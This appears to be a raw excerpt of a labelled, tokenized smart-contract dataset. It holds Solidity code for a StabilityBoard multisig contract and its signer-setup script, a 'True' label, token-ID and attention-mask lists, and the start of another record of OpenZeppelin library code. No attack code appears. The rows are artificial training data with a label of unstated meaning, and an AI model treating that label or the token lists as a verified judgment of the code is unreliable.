1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/* script to add StabilityBoard Signers and remove deployer account as signer
must be executed via StabilityBoardProxy
*/
pragma solidity 0.4.24;
contract Main0003_setupSBSigners {
StabilityBoardProxy constant
stabilityBoardProxy = StabilityBoardProxy(0x4686f017D456331ed2C1de66e134D8d05B24413D);
function execute(Main0003_setupSBSigners /* self (not used)*/ ) external {
/******************************************************************************
* Set up StabilityBoard Signers
******************************************************************************/
address[] memory signersToAdd = new address[](3); // dynamic array needed for addSigners() & removeSigners()
signersToAdd[0] = 0x9de3F6E7caCbb7e1c2489dFCe21abbB0ecEE6213;
signersToAdd[1] = 0xAE162e28575Ba898dc08D283f2Be10AE8b4114A2;
signersToAdd[2] = 0x53DBF6E8fe46307C7536eAbb0D90CADA3e732716;
stabilityBoardProxy.addSigners(signersToAdd);
// revoke deployer account signer rights
address[] memory signersToRemove = new address[](1); // dynamic array needed for addSigners() & removeSigners()
signersToRemove[0] = 0x7b534c2D0F9Ee973e0b6FE8D4000cA711A20f22e;
stabilityBoardProxy.removeSigners(signersToRemove);
}
}
/* Abstract multisig contract to allow multi approval execution of atomic contracts scripts
e.g. migrations or settings.
* Script added by signing a script address by a signer (NEW state)
* Script goes to ALLOWED state once a quorom of signers sign it (quorom fx is defined in each derived contracts)
* Script can be signed even in APPROVED state
* APPROVED scripts can be executed only once.
- if script succeeds then state set to DONE
- If script runs out of gas or reverts then script state set to FAILEd and not allowed to run again
(To avoid leaving "behind" scripts which fail in a given state but eventually execute in the future)
* Scripts can be cancelled by an other multisig script approved and calling cancelScript()
* Adding/removing signers is only via multisig approved scripts using addSigners / removeSigners fxs
*/
contract MultiSig {
using SafeMath for uint256;
uint public constant CHUNK_SIZE = 100;
mapping(address => bool) public isSigner;
address[] public allSigners; // all signers, even the disabled ones
// NB: it can contain duplicates when a signer is added, removed then readded again
// the purpose of this array is to being able to iterate on signers in isSigner
uint public activeSignersCount;
enum ScriptState {New, Approved, Done, Cancelled, Failed}
struct Script {
ScriptState state;
uint signCount;
mapping(address => bool) signedBy;
address[] allSigners;
}
mapping(address => Script) public scripts;
address[] public scriptAddresses;
event SignerAdded(address signer);
event SignerRemoved(address signer);
event ScriptSigned(address scriptAddress, address signer);
event ScriptApproved(address scriptAddress);
event ScriptCancelled(address scriptAddress);
event ScriptExecuted(address scriptAddress, bool result);
constructor() public {
// deployer address is the first signer. Deployer can configure new contracts by itself being the only "signer"
// The first script which sets the new contracts live should add signers and revoke deployer's signature right
isSigner[msg.sender] = true;
allSigners.push(msg.sender);
activeSignersCount = 1;
emit SignerAdded(msg.sender);
}
function sign(address scriptAddress) public {
require(isSigner[msg.sender], "sender must be signer");
Script storage script = scripts[scriptAddress];
require(script.state == ScriptState.Approved || script.state == ScriptState.New,
"script state must be New or Approved");
require(!script.signedBy[msg.sender], "script must not be signed by signer yet");
if(script.allSigners.length == 0) {
// first sign of a new script
scriptAddresses.push(scriptAddress);
}
script.allSigners.push(msg.sender);
script.signedBy[msg.sender] = true;
script.signCount = script.signCount.add(1);
emit ScriptSigned(scriptAddress, msg.sender);
if(checkQuorum(script.signCount)){
script.state = ScriptState.Approved;
emit ScriptApproved(scriptAddress);
}
}
function execute(address scriptAddress) public returns (bool result) {
// only allow execute to signers to avoid someone set an approved script failed by calling it with low gaslimit
require(isSigner[msg.sender], "sender must be signer");
Script storage script = scripts[scriptAddress];
require(script.state == ScriptState.Approved, "script state must be Approved");
/* init to failed because if delegatecall rans out of gas we won't have enough left to set it.
NB: delegatecall leaves 63/64 part of gasLimit for the caller.
Therefore the execute might revert with out of gas, leaving script in Approved state
when execute() is called with small gas limits.
*/
script.state = ScriptState.Failed;
// passing scriptAddress to allow called script access its own public fx-s if needed
if(scriptAddress.delegatecall(bytes4(keccak256("execute(address)")), scriptAddress)) {
script.state = ScriptState.Done;
result = true;
} else {
result = false;
}
emit ScriptExecuted(scriptAddress, result);
}
function cancelScript(address scriptAddress) public {
require(msg.sender == address(this), "only callable via MultiSig");
Script storage script = scripts[scriptAddress];
require(script.state == ScriptState.Approved || script.state == ScriptState.New,
"script state must be New or Approved");
script.state= ScriptState.Cancelled;
emit ScriptCancelled(scriptAddress);
}
/* requires quorum so it's callable only via a script executed by this contract */
function addSigners(address[] signers) public {
require(msg.sender == address(this), "only callable via MultiSig");
for (uint i= 0; i < signers.length; i++) {
if (!isSigner[signers[i]]) {
require(signers[i] != address(0), "new signer must not be 0x0");
activeSignersCount++;
allSigners.push(signers[i]);
isSigner[signers[i]] = true;
emit SignerAdded(signers[i]);
}
}
}
/* requires quorum so it's callable only via a script executed by this contract */
function removeSigners(address[] signers) public {
require(msg.sender == address(this), "only callable via MultiSig");
for (uint i= 0; i < signers.length; i++) {
if (isSigner[signers[i]]) {
require(activeSignersCount > 1, "must not remove last signer");
activeSignersCount--;
isSigner[signers[i]] = false;
emit SignerRemoved(signers[i]);
}
}
}
/* implement it in derived contract */
function checkQuorum(uint signersCount) internal view returns(bool isQuorum);
function getAllSignersCount() view external returns (uint allSignersCount) {
return allSigners.length;
}
// UI helper fx - Returns signers from offset as [signer id (index in allSigners), address as uint, isActive 0 or 1]
function getAllSigners(uint offset) external view returns(uint[3][CHUNK_SIZE] signersResult) {
for (uint8 i = 0; i < CHUNK_SIZE && i + offset < allSigners.length; i++) {
address signerAddress = allSigners[i + offset];
signersResult[i] = [ i + offset, uint(signerAddress), isSigner[signerAddress] ? 1 : 0 ];
}
}
function getScriptsCount() view external returns (uint scriptsCount) {
return scriptAddresses.length;
}
// UI helper fx - Returns scripts from offset as
// [scriptId (index in scriptAddresses[]), address as uint, state, signCount]
function getAllScripts(uint offset) external view returns(uint[4][CHUNK_SIZE] scriptsResult) {
for (uint8 i = 0; i < CHUNK_SIZE && i + offset < scriptAddresses.length; i++) {
address scriptAddress = scriptAddresses[i + offset];
scriptsResult[i] = [ i + offset, uint(scriptAddress), uint(scripts[scriptAddress].state),
scripts[scriptAddress].signCount ];
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
TODO: check against ds-math: https://blog.dapphub.com/ds-math/
TODO: move roundedDiv to a sep lib? (eg. Math.sol)
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b, "mul overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "div by 0"); // Solidity automatically throws for div by 0 but require to emit reason
uint256 c = a / b;
// require(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "sub underflow");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "add overflow");
return c;
}
function roundedDiv(uint a, uint b) internal pure returns (uint256) {
require(b > 0, "div by 0"); // Solidity automatically throws for div by 0 but require to emit reason
uint256 z = a / b;
if (a % b >= b / 2) {
z++; // no need for safe add b/c it can happen only if we divided the input
}
return z;
}
}
contract StabilityBoardProxy is MultiSig {
function checkQuorum(uint signersCount) internal view returns(bool isQuorum) {
isQuorum = signersCount > activeSignersCount / 2 ;
}
} | True | [
101,
1013,
1008,
5896,
2000,
5587,
9211,
6277,
3696,
2545,
1998,
6366,
21296,
2121,
4070,
2004,
3696,
2121,
2442,
2022,
6472,
3081,
9211,
6277,
21572,
18037,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1018,
1012,
2484,
1025,
3206,
2364,
8889,
2692,
2509,
1035,
16437,
19022,
5332,
10177,
2869,
1063,
9211,
6277,
21572,
18037,
5377,
9211,
6277,
21572,
18037,
1027,
9211,
6277,
21572,
18037,
1006,
1014,
2595,
21472,
20842,
2546,
24096,
2581,
2094,
19961,
2575,
22394,
2487,
2098,
2475,
2278,
2487,
3207,
28756,
2063,
17134,
2549,
2094,
2620,
2094,
2692,
2629,
2497,
18827,
23632,
29097,
1007,
1025,
3853,
15389,
1006,
2364,
8889,
2692,
2509,
1035,
16437,
19022,
5332,
10177,
2869,
1013,
1008,
2969,
1006,
2025,
2109,
1007,
1008,
1013,
1007,
6327,
1063,
1013,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
2275,
2039,
9211,
6277,
3696,
2545,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1013,
4769,
1031,
1033,
3638,
3696,
2545,
3406,
4215,
2094,
1027,
2047,
4769,
1031,
1033,
1006,
1017,
1007,
1025,
1013,
1013,
8790,
9140,
2734,
2005,
9909,
23773,
2545,
1006,
1007,
1004,
20362,
23773,
2545,
1006,
1007,
3696,
2545,
3406,
4215,
2094,
1031,
1014,
1033,
1027,
1014,
2595,
2683,
3207,
2509,
2546,
2575,
2063,
2581,
3540,
27421,
2497,
2581,
2063,
2487,
2278,
18827,
2620,
2683,
20952,
3401,
17465,
7875,
10322,
2692,
26005,
2063,
2575,
17465,
2509,
1025,
3696,
2545,
3406,
4215,
2094,
1031,
1015,
1033,
1027,
1014,
18684,
2063,
16048,
2475,
2063,
22407,
28311,
2629,
3676,
2620,
2683,
2620,
16409,
2692,
2620,
2094,
22407,
2509,
2546,
2475,
4783,
10790,
6679,
2620,
2497,
23632,
16932,
2050,
2475,
1025,
3696,
2545,
3406,
4215,
2094,
1031,
1016,
1033,
1027,
1014,
2595,
22275,
18939,
2546,
2575,
2063,
2620,
7959,
21472,
14142,
2581,
2278,
23352,
21619,
5243,
10322,
2692,
2094,
21057,
3540,
2850,
2509,
2063,
2581,
16703,
2581,
16048,
1025,
9211,
6277,
21572,
18037,
1012,
9909,
23773,
2545,
1006,
3696,
2545,
3406,
4215,
2094,
1007,
1025,
1013,
1013,
7065,
11045,
21296,
2121,
4070,
3696,
2121,
2916,
4769,
1031,
1033,
3638,
3696,
2545,
19277,
5302,
3726,
1027,
2047,
4769,
1031,
1033,
1006,
1015,
1007,
1025,
1013,
1013,
8790,
9140,
2734,
2005,
9909,
23773,
2545,
1006,
1007,
1004,
20362,
23773,
2545,
1006,
1007,
3696,
2545,
19277,
5302,
3726,
1031,
1014,
1033,
1027,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-08-23
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.2;
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/Context
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// Part: OpenZeppelin/[email protected]/Counters
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// Part: OpenZeppelin/[email protected]/IERC165
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// Part: OpenZeppelin/[email protected]/IERC721Receiver
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// Part: OpenZeppelin/[email protected]/SafeMath
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// Part: OpenZeppelin/[email protected]/Strings
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// Part: OwnableDelegateProxy
/**
@title An OpenSea delegate proxy contract which we include for whitelisting.
*/
contract OwnableDelegateProxy {}
// Part: OpenZeppelin/[email protected]/ERC165
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// Part: OpenZeppelin/[email protected]/IERC721
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
